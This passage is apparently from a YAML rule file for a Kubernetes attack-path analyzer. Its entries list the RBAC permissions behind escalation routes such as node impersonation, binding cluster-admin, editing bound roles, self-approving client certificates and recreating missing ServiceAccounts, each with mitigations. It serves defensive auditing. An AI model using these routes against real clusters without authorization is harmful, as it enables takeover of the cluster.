k8s-rbac-impersonate-node + provider: k8s + service: rbac + title: Impersonate a node identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of a node (system:node: in group system:nodes). + requires: + all_of: + - verb: impersonate + resource: users + namespace: "*" + resource_name: "system:node:{target.name}" + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "system:nodes" + target: + kind: k8s_node + selector: + resource_permission_covers_target: users:impersonate + scope: cluster + aggregate_as: "Impersonable nodes in {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: high + mitigation: Restrict impersonate on users and groups with resourceNames that exclude system:node:* and system:nodes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + notes: The Node authorizer requires both the system:node: username and the system:nodes group. Node identity then reaches the ServiceAccounts of pods on that node (see nodes.yaml). + +- id: k8s-rbac-constrained-impersonation-user + provider: k8s + service: rbac + title: Constrained impersonation of a user (user-info mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: The source can obtain a subset of the privileges of the users it may impersonate in user-info mode. + requires: + all_of: + - verb_prefix: "impersonate-on:user-info:" + resource_match: any + namespace: "*" + any_of: + - - verb: "impersonate:user-info" + resource: users + api_group: authentication.k8s.io + namespace: "*" + resource_name: "{target.name}" + target: + kind: k8s_user + selector: + resource_permission_covers_target: "users:impersonate:user-info" + k8s_constrained_impersonation_gain: user-info + scope: cluster + aggregate_as: "Users impersonable in constrained mode in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must overlap a collected permission of the named user that the source does not already hold. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant impersonate: and impersonate-on:: only as narrow, resourceName-scoped pairs for the exact delegated operation. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: The identity rule uses authentication.k8s.io, as in the upstream documentation and HackTricks Kubernetes 1.37 reproduction. The action half names the concrete verb and resource that may be used while impersonating; the source can gain only actions also held by the target. + +- id: k8s-rbac-constrained-impersonation-serviceaccount + provider: k8s + service: rbac + title: Constrained impersonation of a ServiceAccount + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: The source can obtain a subset of the privileges of the ServiceAccounts it may impersonate in serviceaccount mode. + requires: + all_of: + - verb: "impersonate:serviceaccount" + resource: serviceaccounts + api_group: authentication.k8s.io + namespace: "{target.namespace}" + resource_name: "{target.name}" + - verb_prefix: "impersonate-on:serviceaccount:" + resource_match: any + namespace: "*" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: "serviceaccounts:impersonate:serviceaccount" + k8s_constrained_impersonation_gain: serviceaccount + scope: same_namespace + aggregate_as: "ServiceAccounts impersonable in constrained mode in {target.namespace}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must overlap a collected permission of the named ServiceAccount that the source does not already hold. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant constrained impersonation only as narrow, resourceName-scoped identity/action pairs. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Official docs place the identity permission in authentication.k8s.io and scope it to the named ServiceAccount. The action half can use only the named verb and resource also allowed to that ServiceAccount. + +- id: k8s-rbac-constrained-impersonation-node + provider: k8s + service: rbac + title: Constrained impersonation of nodes (arbitrary-node mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: The source can obtain a subset of the privileges of any node it may impersonate in arbitrary-node mode. + requires: + all_of: + - verb: "impersonate:arbitrary-node" + resource: nodes + api_group: authentication.k8s.io + namespace: "*" + resource_name: "{target.name}" + - verb_prefix: "impersonate-on:arbitrary-node:" + resource_match: any + namespace: "*" + target: + kind: k8s_node + selector: + resource_permission_covers_target: "nodes:impersonate:arbitrary-node" + k8s_constrained_impersonation_gain: arbitrary-node + scope: cluster + aggregate_as: "Nodes impersonable in constrained mode in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must cover get on a pod assigned to the named node or a token request for that pod's ServiceAccount, and the source must lack that direct action. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant node impersonation modes outside node-agent ServiceAccounts, and scope the impersonate-on verbs tightly. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: The official node-mode example grants the identity verb on nodes.authentication.k8s.io and limits it to the exact node name. Associated-node mode is modelled separately. + +- id: k8s-rbac-constrained-impersonation-associated-node + provider: k8s + service: rbac + title: Constrained impersonation of the node running the source's pod (associated-node mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: A ServiceAccount granted associated-node impersonation can obtain a subset of the privileges of the node that runs its own pod. + requires: + all_of: + - verb: "impersonate:associated-node" + resource: nodes + api_group: authentication.k8s.io + namespace: "*" + - verb_prefix: "impersonate-on:associated-node:" + resource_match: any + namespace: "*" + target: + kind: k8s_node + selector: + k8s_node_hosting_pod_of_source: true + k8s_constrained_impersonation_gain: associated-node + scope: cluster + aggregate_as: "Node hosting the source's pod in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must cover get on a pod assigned to its node or a token request for that pod's ServiceAccount, and the source must lack that direct action. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant node impersonation modes outside node-agent ServiceAccounts, and scope the impersonate-on verbs tightly. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: associated-node mode only reaches the node bound into the source ServiceAccount's pod token; k8s_node_hosting_pod_of_source narrows the target to nodes hosting a collected pod that runs as the source ServiceAccount (no target without pod inventory). + +- id: k8s-rbac-bind-clusterrolebinding-cluster-admin + provider: k8s + service: rbac + title: Bind cluster-admin through a ClusterRoleBinding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin by binding an admin-equivalent ClusterRole to itself cluster-wide. + requires: + all_of: + - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{admin_equivalent_clusterrole}" + - verb: create + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: bindable_role_admin_equivalent + description: The collected ClusterRole covered by bind must grant every verb on every resource across all API groups. Binding a weaker ClusterRole only grants that role. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not grant bind on clusterroles (especially without resourceNames) together with clusterrolebinding writes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: "{admin_equivalent_clusterrole} = any collected ClusterRole whose rules grant all verbs on all resource types in all API groups. Existing-binding patch/update paths are reported by the exact-binding permission-gain entry; resourceNames on create cannot restrict the new binding's name. Without bind, binding writes are limited to roles whose permissions the caller already holds (excluded)." + +- id: k8s-rbac-bind-rolebinding-namespace + provider: k8s + service: rbac + title: Bind cluster-admin into a namespace through a RoleBinding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can bind the exact cluster-admin ClusterRole to itself in a namespace, gaining its workload and token permissions there and reaching that namespace's ServiceAccounts. + requires: + all_of: + - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: cluster-admin + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_cluster_admin_role_exists: true + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: cluster_admin_role_exists + description: The collected cluster-admin ClusterRole must retain wildcard workload and token permissions that cover the target namespace. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict bind with resourceNames to low-privilege roles and avoid granting rolebinding writes to tenants. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: A RoleBinding grants cluster-admin rules only inside its namespace. This entry requires create; separate entries join other Roles and existing bindings to their exact permissions. + +- id: k8s-rbac-bind-existing-role-new-permission + provider: k8s + service: rbac + title: Bind an existing Role or ClusterRole that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can create a RoleBinding to an existing Role or ClusterRole whose collected rules grant at least one concrete permission the source does not already hold in that namespace. + requires: + all_of: + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_verified_authority + selector: + k8s_bound_role_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] + aggregate_as: "New permissions from an existing RoleBinding target" + conditions: + - id: exact_role_and_new_permission + description: The selected Role must exist, the source must have bind on it, and a concrete rule must grant a permission not already held by the source in the binding namespace. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Avoid combining RoleBinding creation with bind on roles that grant sensitive actions; restrict bind to specific low-privilege roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: This is a permission gain bounded to the named Role and namespace. It does not claim the source becomes another ServiceAccount. Missing RBAC inventory keeps a possible route conditional, and a complete inventory with no new permission produces no edge. + +- id: k8s-rbac-modify-existing-rolebinding-new-permission + provider: k8s + service: rbac + title: Add the source to an existing RoleBinding that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: An existing RoleBinding points to a collected Role or ClusterRole with a permission the source lacks, and the source can add itself to that exact binding. + requires: + any_of: + - - verb: patch + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: update + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_verified_authority + selector: + k8s_existing_rolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] + aggregate_as: "New permissions from an existing RoleBinding" + conditions: + - id: exact_existing_binding_and_new_permission + description: A collected RoleBinding must point to the selected Role, the source must be able to modify that binding and bind the exact Role, and a concrete rule must add a permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit writes to RoleBindings and bind access to roles that grant sensitive permissions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: A RoleBinding roleRef cannot be changed. The selector joins the existing binding to its current Role and verifies patch or update on that exact binding. Missing or uncertain RBAC facts keep the path conditional. + +- id: k8s-rbac-bind-existing-clusterrole-new-permission + provider: k8s + service: rbac + title: Bind an existing ClusterRole that grants a new cluster-wide permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can create a ClusterRoleBinding to an existing ClusterRole whose collected rules grant a concrete cluster-wide permission the source does not already hold. + requires: + all_of: + - verb: create + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_verified_authority + selector: + k8s_clusterrolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected ClusterRole permissions across the cluster"] + aggregate_as: "New cluster-wide permissions from an existing ClusterRole" + conditions: + - id: exact_clusterrole_and_new_permission + description: The ClusterRole must exist, the source must have bind on it, and a concrete rule must grant a cluster-wide permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Avoid combining ClusterRoleBinding creation with bind on roles that grant sensitive actions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: The gained permissions are bounded to the exact ClusterRole rules. The route does not claim another identity's access. + +- id: k8s-rbac-modify-existing-clusterrolebinding-new-permission + provider: k8s + service: rbac + title: Add the source to an existing ClusterRoleBinding that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: An existing ClusterRoleBinding points to a collected ClusterRole with a cluster-wide permission the source lacks, and the source can add itself to that exact binding. + requires: + any_of: + - - verb: patch + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + - - verb: update + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_verified_authority + selector: + k8s_existing_clusterrolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected ClusterRole permissions across the cluster"] + aggregate_as: "New cluster-wide permissions from an existing ClusterRoleBinding" + conditions: + - id: exact_existing_cluster_binding_and_new_permission + description: A collected ClusterRoleBinding must point to the selected ClusterRole, the source must be able to modify that binding and bind the exact role, and a concrete rule must add a cluster-wide permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit ClusterRoleBinding writes and bind access to roles that grant sensitive permissions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: The selector joins the existing binding to its immutable roleRef and verifies patch or update on that exact binding. Uncertain RBAC facts keep the path conditional. + +- id: k8s-rbac-escalate-bound-clusterrole + provider: k8s + service: rbac + title: Escalate a ClusterRole already bound to the source + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin by adding arbitrary rules to a ClusterRole bound to it cluster-wide. + requires: + all_of: + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + any_of: + - - verb: update + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + - - verb: patch + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: escalated_role_bound_cluster_wide + description: The editable ClusterRole must be bound to the source (or a group it belongs to) by a ClusterRoleBinding; if only bound by RoleBindings the gain is limited to those namespaces. + - id: aggregated_clusterrole_overwritten + description: Rules added to an aggregated ClusterRole (aggregationRule) are overwritten by the controller. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not grant escalate on roles/clusterroles to non-admin subjects. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: "{source_bound_clusterrole} = a ClusterRole referenced by a ClusterRoleBinding whose subjects include the source (a RoleBinding to a ClusterRole only confines it to one namespace and does not yield cluster-admin). escalate + create roles alone is not enough: binding the new role still needs bind or already-held permissions." + +- id: k8s-rbac-escalate-aggregating-clusterrole + provider: k8s + service: rbac + title: Create an aggregating ClusterRole that feeds a ClusterRole already bound to the source + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin by creating a ClusterRole with arbitrary rules and an aggregate-to- label so the aggregation controller copies them into an aggregated ClusterRole already bound to it cluster-wide. + source_selector: + source_bound_to_aggregated_clusterrole: cluster + requires: + all_of: + - verb: create + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + k8s_aggregation_new_role_path: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: source_bound_to_aggregated_clusterrole + description: The source_selector checks that the source is bound to a ClusterRole with an aggregationRule (view, edit, admin or a custom one); the new role's labels must satisfy that role's clusterRoleSelectors. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not grant escalate on clusterroles; alert on new ClusterRoles carrying rbac.authorization.k8s.io/aggregate-to-* labels. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: HackTricks (171e422) documents aggregation into an already-bound ClusterRole (lab adds patch on one ConfigMap to view) and states the caller still needs the proposed rules or escalate. Without escalate the source can only aggregate rules it already holds, which is not an escalation. + +- id: k8s-rbac-escalate-aggregating-clusterrole-namespace + provider: k8s + service: rbac + title: Add rules to a ClusterRole bound to the source in a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + source_revision: 2415fadfbd + summary: The source can create a ClusterRole whose labels feed an aggregated ClusterRole bound to it through a RoleBinding, adding workload and token rights in that binding's namespace. + source_selector: + source_bound_to_aggregated_clusterrole: namespace + requires: + all_of: + - verb: create + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_service_account + selector: + k8s_aggregated_rolebinding_namespace: true + k8s_aggregation_new_role_path: true + scope: cluster + aggregate_as: "ServiceAccounts in an aggregated RoleBinding namespace" + conditions: + - id: namespace_aggregate_binding_and_controller + description: A collected RoleBinding must give the source an aggregated ClusterRole in the target namespace, and the aggregation controller must add the source-created rules that permit workload or token access. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Do not combine ClusterRole creation and escalate with an aggregated ClusterRole already bound to the same principal. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: A RoleBinding limits the added rules to its namespace. Without escalate or prior ownership of the proposed rules, the new ClusterRole cannot add permissions that the source did not already hold. + +- id: k8s-rbac-escalate-bound-role-namespace + provider: k8s + service: rbac + title: Escalate a Role already bound to the source in a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts in the namespace by adding workload or token rules to a Role bound to it there. + requires: + all_of: + - verb: escalate + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + any_of: + - - verb: update + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + - - verb: patch + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: escalated_role_bound_to_source + description: The editable Role must be bound to the source by a RoleBinding in the same namespace. + blockers: [] + confidence: derived + severity: high + mitigation: Do not grant escalate on roles to tenants. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: "{source_bound_role} = a Role in the namespace referenced by a RoleBinding whose subjects include the source." + +- id: k8s-rbac-csr-kube-apiserver-client-user + provider: k8s + service: certificates + title: Issue and approve a client certificate for an existing username + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of any user (or ServiceAccount username) that has RBAC bindings by self-approving a kube-apiserver-client certificate for it. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_user + selector: + any_principal_in_scope: true + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "Users bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must be signing kubernetes.io/kube-apiserver-client (cluster-signing key configured; some managed offerings disable or restrict it). + - id: client_cert_auth_honored + description: The API server must accept client certificates from the cluster CA (some managed clusters ignore or restrict them). + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict approve on signers and certificatesigningrequests/approval to cluster administrators; never combine them with CSR create for other subjects. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: HackTricks reproduced on v1.37 that this signer refused a CSR requesting system:masters, so cluster-admin through that group is NOT claimed. ServiceAccount usernames are covered by k8s-rbac-csr-kube-apiserver-client-serviceaccount. Client certificates cannot be revoked short of rotating the CA. + +- id: k8s-rbac-csr-kube-apiserver-client-serviceaccount + provider: k8s + service: certificates + title: Issue and approve a client certificate for a bound ServiceAccount username + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can request a client certificate whose common name matches a ServiceAccount username already named in RBAC, then approve and read the signed certificate. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_service_account + selector: + k8s_csr_sa_subject: true + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "ServiceAccount usernames bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must sign certificates for kubernetes.io/kube-apiserver-client and accept the requested subject. + - id: client_cert_auth_honored + description: The API server must accept the issued client certificate and its ServiceAccount username. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict CSR creation, approval and signer approval to separate trusted operators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: A client certificate authenticates as its common-name username, so an RBAC ServiceAccount subject matches even when the ServiceAccount object is absent. ServiceAccount group bindings require the corresponding certificate organization and are covered by the group CSR technique. This path includes only ServiceAccount usernames with collected direct RBAC bindings. + +- id: k8s-rbac-csr-kube-apiserver-client-group + provider: k8s + service: certificates + title: Issue and approve a client certificate carrying groups + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of RBAC-bound groups (other than system:masters) by self-approving a kube-apiserver-client certificate with those organizations. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_group + selector: + any_principal_in_scope: true + exclude_names: ["system:masters"] + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "Groups bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must be signing kubernetes.io/kube-apiserver-client. + - id: signer_group_restrictions + description: Signer or approver policy may refuse specific organizations; system:masters was refused in the HackTricks lab. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict approve on signers and certificatesigningrequests/approval to cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: Official docs list no subject restrictions for kubernetes.io/kube-apiserver-client beyond approver/signer policy; the system:masters exclusion follows the HackTricks v1.37 lab result. + +- id: k8s-rbac-dangling-serviceaccount-reference + provider: k8s + service: rbac + title: Create a ServiceAccount referenced by an existing binding but missing + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can use a binding for a missing ServiceAccount in an existing namespace by creating that ServiceAccount and then running as it. + requires: + all_of: + - verb: create + resource: serviceaccounts + namespace: "{target.namespace}" + any_of: + # Run a workload as the recreated ServiceAccount (pod or any pod-creating controller). + - - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{target.namespace}", resource_name: "{target.name}"} + # Legacy token Secret for the recreated ServiceAccount, then read it back. + - - {verb: create, resource: secrets, namespace: "{target.namespace}"} + - any_of: + - {verb: get, resource: secrets, namespace: "{target.namespace}"} + - {verb: list, resource: secrets, namespace: "{target.namespace}"} + - {verb: watch, resource: secrets, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_absent_but_bound: true + k8s_dangling_sa_permission_gain: true + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "Dangling ServiceAccount references in {target.namespace}" + conditions: + - id: service_account_use_allowed + description: Admission policy and ServiceAccount token settings must allow the selected workload or token route. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove bindings that reference missing ServiceAccounts or restrict who can recreate those ServiceAccounts. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-subjects + notes: Applies to vanilla Kubernetes too (RBAC subjects are matched by name, not UID). The target is the binding subject name; the evaluator should synthesize a virtual k8s_service_account node for each subject that does not exist in the snapshot, carrying the bound privileges. Controller creates are alternatives to pods create (the book requires "a way to use the account, such as permission to create a workload under it"); list/watch return Secret data like get (a66f094ede). + +- id: k8s-rbac-serviceaccount-in-absent-namespace + provider: k8s + service: rbac + title: Create the missing namespace and ServiceAccount named by a binding or SCC + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the privileges granted to a ServiceAccount whose namespace does not exist by creating that namespace and ServiceAccount and then running as it. + requires: + all_of: [] + any_of: + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - 